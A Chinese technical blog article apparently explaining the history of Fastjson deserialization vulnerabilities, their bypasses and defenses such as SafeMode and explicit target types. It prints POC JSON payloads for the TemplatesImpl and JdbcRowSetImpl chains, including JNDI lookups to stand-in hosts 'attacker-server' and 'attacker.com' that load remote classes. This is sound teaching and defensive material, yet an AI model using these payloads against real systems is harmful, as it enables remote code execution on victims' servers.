Fastjson反序列化漏洞深度解析:从字节码加载到JNDI注入的攻防实战
1. 项目概述:从字节码到漏洞,一次Java安全之旅
最近在复盘Java安全相关的知识体系,发现很多朋友对Fastjson反序列化漏洞的理解还停留在“知道有这么个漏洞”的层面,对于它为什么能发生、如何一步步演化、以及字节码在其中扮演的关键角色,缺乏一个系统性的认知。今天我就从一个资深Java开发兼安全研究者的角度,来拆解这个堪称“Java安全教科书”的经典案例。这不仅仅是讲一个漏洞,更是理解Java序列化机制、字节码动态加载和JNDI注入攻击的绝佳窗口。无论你是想夯实Java基础、准备安全面试,还是想在实际项目中规避此类风险,这篇文章都会带你从原理到实操,彻底搞懂Fastjson反序列化漏洞的来龙去脉。
2. 核心原理:字节码、序列化与Fastjson的“自省”机制
要理解Fastjson漏洞,我们必须先理清三个核心概念:Java字节码、序列化/反序列化,以及Fastjson独有的@type特性。很多人混淆了Java原生序列化和JSON序列化,这是第一个需要厘清的点。
2.1 Java字节码与动态加载的本质
Java程序运行在JVM上,JVM执行的是.class文件中的字节码。字节码是Java源代码编译后的中间表示,它包含了类的所有信息:字段、方法、常量池等。正常情况下,类是由类加载器从文件系统或网络中加载的。但Java也提供了动态生成和加载字节码的能力,例如通过ClassLoader.defineClass()方法,或者利用java.lang.reflect.Proxy、javassist、ASM等工具。
为什么动态加载字节码是危险的?因为攻击者可以构造一段恶意的字节码,其中包含执行任意命令(如Runtime.getRuntime().exec(“calc”))的代码。如果程序在反序列化过程中,无意间加载并实例化了这段恶意字节码,就相当于为攻击者打开了执行系统命令的大门。Fastjson漏洞的核心利用链之一——TemplatesImpl链,正是利用了这一点。
2.2 序列化与反序列化:对象与数据的桥梁
序列化是将对象的状态信息转换为可以存储或传输的形式(如字节流、JSON字符串)的过程。反序列化则是其逆过程,将存储或传输的数据重新构造成内存中的对象。
- Java原生序列化:基于
Serializable接口,使用ObjectOutputStream和ObjectInputStream。它序列化的是整个对象图,包含类型信息,但格式是二进制的,不便于阅读和跨语言。 - JSON序列化:将对象转换为JSON字符串,轻量、可读、跨语言。Fastjson、Jackson、Gson都是干这个的。关键区别在于,标准的JSON序列化只关心数据(
name: “value”),不关心类型。一个{“age”: 20}的JSON,反序列化时,它可能是一个Person对象,也可能是一个Animal对象,这需要调用者显式指定目标类。
2.3 Fastjson的“特色功能”:@type与AutoType
Fastjson为了提供更“强大”的功能,引入了一个特性:在序列化时,可以通过SerializerFeature.WriteClassName参数,在生成的JSON字符串中嵌入原始对象的类型信息。这个信息就是通过@type这个特殊的字段来保存的。
Person person = new Person(“Alice”, 25); // 普通序列化 String json1 = JSON.toJSONString(person); // 输出: {“age”:25, “name”:”Alice”} // 带类型信息的序列化 String json2 = JSON.toJSONString(person, SerializerFeature.WriteClassName); // 输出: {“@type”:”com.example.Person”, “age”:25, “name”:”Alice”}在反序列化时,如果JSON字符串中包含@type字段,Fastjson就会尝试根据该字段的值去加载对应的类,并创建实例。这个过程被称为“AutoType”(自动类型识别)。
这个设计的初衷是好的:方便开发者,无需手动指定Person.class,Fastjson就能自动还原成正确的类型。但正是这个“自动化”的过程,埋下了巨大的安全隐患。因为它意味着,反序列化的过程不再完全由开发者控制,攻击者可以通过精心构造的@type值,让Fastjson去加载任何一个存在于ClassPath中的类。
实操心得:在早期的项目评审中,我见过不少团队为了“方便”默认开启
WriteClassName特性,或者使用JSON.parseObject(jsonString)而不指定目标类(这会导致Fastjson尝试使用AutoType去解析@type)。这相当于把类的加载控制权部分交给了不可信的输入数据,是极其危险的做法。一个核心安全原则就是:永远不要反序列化不可信的数据,尤其不要让它决定反序列化成什么类。
3. 漏洞演化史:一场攻防拉锯战
Fastjson的反序列化漏洞不是单一漏洞,而是一系列漏洞的集合。它的修复史,就是一部经典的“攻击者发现绕过方法 -> 开发者修复 -> 攻击者发现新绕过方法”的攻防教科书。理解这个脉络,比死记硬背几个POC更有价值。
3.1 漏洞的起源:1.2.24及之前的“无约束”时代
在这个版本区间,AutoType功能默认是开启的,且没有任何黑名单限制。攻击者可以直接在@type中指定危险的类。
利用链一:TemplatesImpl动态加载字节码这是最“经典”的利用方式。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类有一个_bytecodes属性,它可以接收字节码数组,并在类内部调用defineClass加载它。更关键的是,它有一个getOutputProperties()方法,该方法会在内部触发对新加载类的实例化。
攻击者构造的POC如下:
{ “@type”: “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”, “_bytecodes”: [“恶意类的Base64编码字节码”], “_name”: “anything”, “_tfactory”: {}, “_outputProperties”: {} }当Fastjson反序列化这个JSON时:
- 根据
@type创建TemplatesImpl实例。 - 调用setter方法为
_bytecodes等属性赋值。 - 在解析
_outputProperties时,Fastjson会尝试调用getOutputProperties()这个getter方法来获取值(这是Fastjson的一个解析特性:在解析过程中会调用getter)。这个调用触发了TemplatesImpl内部的字节码加载和实例化流程,从而执行了恶意代码。
利用链二:JdbcRowSetImpl触发JNDI注入这是另一个经典链,利用了com.sun.rowset.JdbcRowSetImpl类。这个类在反序列化设置dataSourceName属性时,会调用setAutoCommit(true),进而调用connect()方法,最终执行InitialContext.lookup(dataSourceName)。
POC如下:
{ “@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “rmi://attacker-server:1099/Exploit”, “autoCommit”: true }攻击者只需要搭建一个恶意的RMI或LDAP服务,指向一个包含恶意Java类的地址。当受害应用反序列化此JSON时,就会向攻击者的服务器发起JNDI查询,加载并执行远程的恶意类,实现远程代码执行。
注意事项:JNDI注入的成功与否,与目标服务器的Java版本密切相关。在Java 8u121、7u131、6u141之后,默认限制了从远程地址加载工厂类,增加了利用难度,但在特定环境下(如存在其他可利用的gadget链)仍可能成功。这提醒我们,不能仅仅依赖高版本来防御,根本还是要杜绝反序列化不可信数据。
3.2 第一道防线:1.2.25版本引入黑白名单
在1.2.24漏洞被公开后,Fastjson在1.2.25版本做出了重大修复:默认关闭了AutoType支持,并引入了一个黑名单机制。黑名单里包含了com.sun.、java.lang.Thread、org.apache.commons.collections等已知的危险类包名。
此时,直接使用之前的POC会抛出autoType is not support异常。修复逻辑在checkAutoType方法中:先检查类名是否在黑名单中,如果在则直接拒绝。
3.3 绕过与修复的轮回(1.2.25 – 1.2.47)
攻击者并没有就此罢休,他们发现了黑白名单校验逻辑的漏洞,上演了一出精彩的“绕过秀”。
绕过1(1.2.25-1.2.41):L和;包裹开发者为了处理数组和内部类,在TypeUtils.loadClass中有这样的逻辑:如果类名以L开头、以;结尾,则去掉首尾的L和;再加载。于是攻击者将类名写成Lcom.sun.rowset.JdbcRowSetImpl;,成功绕过了黑名单字符串匹配。因为黑名单检查的是原始字符串,而loadClass会对其进行“净化”。
修复1(1.2.42):哈希黑名单与一次净化开发者将黑名单从字符串匹配改为了哈希匹配,并在checkAutoType中先对Lxxx;格式做了一次净化(去掉首尾),再用净化后的名字计算哈希去匹配黑名单。这样Lcom.sun.rowset.JdbcRowSetImpl;净化后变成com.sun.rowset.JdbcRowSetImpl,其哈希值仍在黑名单中,被拦截。
绕过2(1.2.42):双写LL和;;攻击者发现,checkAutoType只做一次净化,而loadClass是递归净化。于是构造LLcom.sun.rowset.JdbcRowSetImpl;;。checkAutoType净化一次后变成Lcom.sun.rowset.JdbcRowSetImpl;,哈希检查通过(因为计算的是净化后字符串的哈希)。进入loadClass后,递归净化两次,最终变成com.sun.rowset.JdbcRowSetImpl,加载成功。
修复2(1.2.43):禁止双写开发者在checkAutoType中增加检查,如果类名以LL开头,直接报错不支持。
绕过3(1.2.25-1.2.45):利用不在黑名单中的第三方库黑名单不可能覆盖所有危险类。攻击者发现了MyBatis框架中的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类。该类有一个setProperties方法,其中会调用InitialContext.lookup()。由于该类不在Fastjson的黑名单中,只要AutoType被显示开启(ParserConfig.getGlobalInstance().setAutoTypeSupport(true)),就可以直接利用。
修复3(1.2.46):更新黑名单将org.apache.ibatis等相关包加入黑名单。
3.4 里程碑式的绕过:1.2.47的“缓存投毒”攻击
这是Fastjson历史上影响最广泛的漏洞之一,因为它在默认配置(AutoType关闭)下即可利用,无需开启setAutoTypeSupport(true)。
攻击原理: Fastjson内部有两个重要的缓存Map:mappings和deserializers。checkAutoType方法在拒绝加载一个类之前,会先检查这两个缓存里是否已经有这个类。如果有,则直接返回,绕过了黑名单检查。
攻击者发现,可以通过一个“引导”JSON,先向缓存中放入恶意类。POC结构如下:
{ “a”: { “@type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl” }, “b”: { “@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “ldap://attacker.com/Exploit”, “autoCommit”: true } }分步解析:
- Fastjson解析外层对象,有两个key:
a和b。 - 解析
a的值(内层JSON)。@type是java.lang.Class。Fastjson内部有一个针对Class.class类型的反序列化器MiscCodec。 MiscCodec.deserialize()方法在处理java.lang.Class类型时,会读取val字段的值(即”com.sun.rowset.JdbcRowSetImpl”),并调用TypeUtils.loadClass(val)。- 关键点:
TypeUtils.loadClass方法在加载类后,会将其缓存到mappings这个HashMap中。 - 此时,
com.sun.rowset.JdbcRowSetImpl这个类已经被悄悄地、合法地(因为它是通过java.lang.Class这个合法类型加载的)添加到了mappings缓存里。 - 接着解析
b的值。@type是com.sun.rowset.JdbcRowSetImpl。checkAutoType检查时,发现AutoType未开启,准备拒绝。但在拒绝前,它先去mappings缓存里查找,惊喜地发现这个类已经在缓存里了!于是它直接返回了这个类的Class对象,完全绕过了黑名单校验。 - 后续流程正常进行,成功触发JNDI注入。
这个漏洞的精妙之处在于,它利用了Fastjson自身缓存机制的逻辑缺陷,完成了一次“缓存投毒”,让黑名单形同虚设。
修复(1.2.48):在TypeUtils.loadClass加载java.lang.Class类型时,增加了cache参数控制,默认不再缓存。同时,在MiscCodec中也将缓存设置为false,彻底堵死了这条利用路径。
3.5 后续版本与SafeMode
在后续版本中,Fastjson不断更新黑名单,并引入了SafeMode安全模式。开启SafeMode后,AutoType功能将被彻底禁用,任何@type属性都会被忽略。这是最根本的解决方案。
排查技巧实录:在应急响应中,如何快速判断一个应用是否使用了有漏洞的Fastjson版本?除了检查
pom.xml或gradle文件,一个常用的技巧是观察报错信息。早期版本(如1.2.24)在遇到不支持的类时,错误信息可能与高版本不同。更直接的方法是,如果应用接收JSON输入,可以尝试发送一个包含@type的畸形JSON,观察其返回的异常堆栈信息中是否包含com.alibaba.fastjson的类名和行号,这能帮你快速定位。
4. 漏洞深度解析:为什么Getter/Setter会被调用?
很多初学者会疑惑:反序列化不是调用构造方法或者setter方法给属性赋值吗?为什么TemplatesImpl漏洞里是getOutputProperties()这个getter方法触发的?
这涉及到Fastjson独特的反序列化机制。它与Java原生序列化不同,并非通过反射直接设置字段值。Fastjson反序列化的核心过程可以简化为:
- 解析与构建:解析JSON字符串,构建一个JSON对象(如
JSONObject)。 - 根据@type或指定类创建目标对象实例:通过反射调用无参构造器。
- 属性填充:遍历JSON中的key-value对。对于每个key(如
_outputProperties):- 首先,尝试寻找对应的public setter方法(如
set_outputProperties)。如果找到,则调用它并传入value。 - 如果找不到setter,Fastjson会尝试寻找对应的public getter方法(如
getOutputProperties)。注意,这里找getter不是为了赋值,而是为了探测属性的类型!因为JSON中的value可能是复杂的嵌套对象,Fastjson需要知道这个属性是什么类型,才能正确地反序列化value。 - 在调用getter获取到属性类型后,Fastjson会递归地反序列化value,并最终通过反射直接修改字段值(即使字段是private的,前提是使用了
Feature.SupportNonPublicField特性)。
- 首先,尝试寻找对应的public setter方法(如
在TemplatesImpl利用链中,_outputProperties字段没有public的setter,但有一个public的getter:getOutputProperties()。当Fastjson解析到“_outputProperties”: {}时:
- 它找不到
set_outputProperties。 - 于是它找到并调用了
getOutputProperties(),目的是获取这个属性的类型(Properties)。 - 然而,
getOutputProperties()方法内部并不仅仅是返回属性值那么简单。它包含了一段初始化逻辑,会去调用newTransformer(),进而触发之前通过_bytecodes加载的恶意类的实例化。这就导致了漏洞的触发。
所以,根本原因在于:Fastjson在反序列化过程中,为了确定字段类型,会主动调用getter方法。而某些类的getter方法内部包含了危险的初始化逻辑。这给我们一个深刻教训:在设计Java Bean时,要警惕getter/setter中的业务逻辑,特别是那些涉及资源加载、网络连接、命令执行的操作。
5. 防御方案与最佳实践
了解了攻击原理,防御就有的放矢了。以下是我在多年项目实践中总结的层层递进的防御方案。
5.1 终极方案:升级与启用SafeMode
- 升级到最新版本:始终使用Fastjson的最新稳定版(1.2.83及以上),并关注其安全公告。
- 启用SafeMode:这是最彻底、最推荐的方式。在启动参数或代码中全局开启安全模式,一劳永逸地禁用AutoType。
开启后,所有// 方式1:启动参数 // -Dfastjson.parser.safeMode=true // 方式2:代码中设置 ParserConfig.getGlobalInstance().setSafeMode(true);@type特性失效,Fastjson将按照标准JSON库的方式工作,只能反序列化到开发者显式指定的类。
5.2 开发规范:指定具体类型与输入校验
- 反序列化时显式指定Class:绝对不要使用
JSON.parseObject(jsonString)这种不指定目标类的方法。务必使用JSON.parseObject(jsonString, YourSpecificClass.class)。// 错误示范:让Fastjson去猜类型 Object obj = JSON.parseObject(untrustedJson); // 正确做法:明确指定类型 Person person = JSON.parseObject(untrustedJson, Person.class); - 严格进行输入校验:对所有外部输入的JSON数据进行合法性校验,包括格式、字段类型、长度、范围等。可以使用JSON Schema或自定义校验逻辑。对于包含
@type字段的请求,直接拒绝。
5.3 架构与部署层面
- JVM层面限制:使用高版本JDK(>=8u121, 7u131, 6u141),并设置以下安全属性,可以缓解JNDI注入类的攻击。
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false - 网络隔离与WAF:在生产环境中,对应用服务器进行网络隔离,限制其对外发起非常规端口(如RMI的1099,LDAP的389)的网络请求。部署Web应用防火墙(WAF),配置规则拦截包含可疑
@type类名(如com.sun.、org.apache.等)的请求。 - 依赖管理:使用Maven Enforcer或Dependabot等工具,禁止引入已知存在高危漏洞的Fastjson版本(如1.2.24, 1.2.47等)。
5.4 代码审计自查清单
在代码审计或自查时,可以重点关注以下几点:
- 全局搜索
JSON.parseObject()和JSON.parse()的调用点。 - 检查是否使用了
SerializerFeature.WriteClassName进行序列化。 - 检查是否调用了
ParserConfig.getGlobalInstance().setAutoTypeSupport(true)。 - 检查反序列化操作的数据源是否来自用户可控的输入(如HTTP请求参数、Cookie、Header、RPC接口参数、数据库存储的JSON等)。
6. 从Fastjson漏洞中学到的Java安全启示
Fastjson漏洞系列不仅仅是某个库的历史,它深刻地反映了Java生态中一些普遍的安全问题。
启示一:魔法特性是把双刃剑。@type这类为了“方便”而设计的魔法特性,极大地增加了系统的攻击面。在框架设计时,安全性和便利性需要谨慎权衡,默认设置应该倾向于安全。
启示二:反序列化是危险的边界。任何将外部数据“重建”为内部对象的操作都是高危操作。这包括Java原生序列化、XMLDecoder、YAML解析、以及各种JSON库的反序列化功能。安全编码的第一课就是:不要反序列化不可信的数据。
启示三:依赖管理是安全基石。Fastjson的漏洞几乎全部源于其自身逻辑缺陷。使用开源组件时,必须持续关注其安全动态,建立及时的漏洞预警和升级机制。不要抱有“我的代码没调用危险方法就安全”的侥幸心理。
启示四:深度防御(Defense in Depth)。没有单一的银弹。防御Fastjson漏洞需要组合拳:升级组件、修改代码、配置JVM、部署网络策略。在安全领域,多层、异构的防御才能构建起稳固的防线。
回顾整个Fastjson漏洞史,它像一面镜子,照见了我们在追求开发效率时对安全性的忽视。作为开发者,我们应当从中吸取教训,将安全思维融入软件开发生命周期的每一个环节,从设计、编码、测试到部署运维,构建真正可信赖的系统。
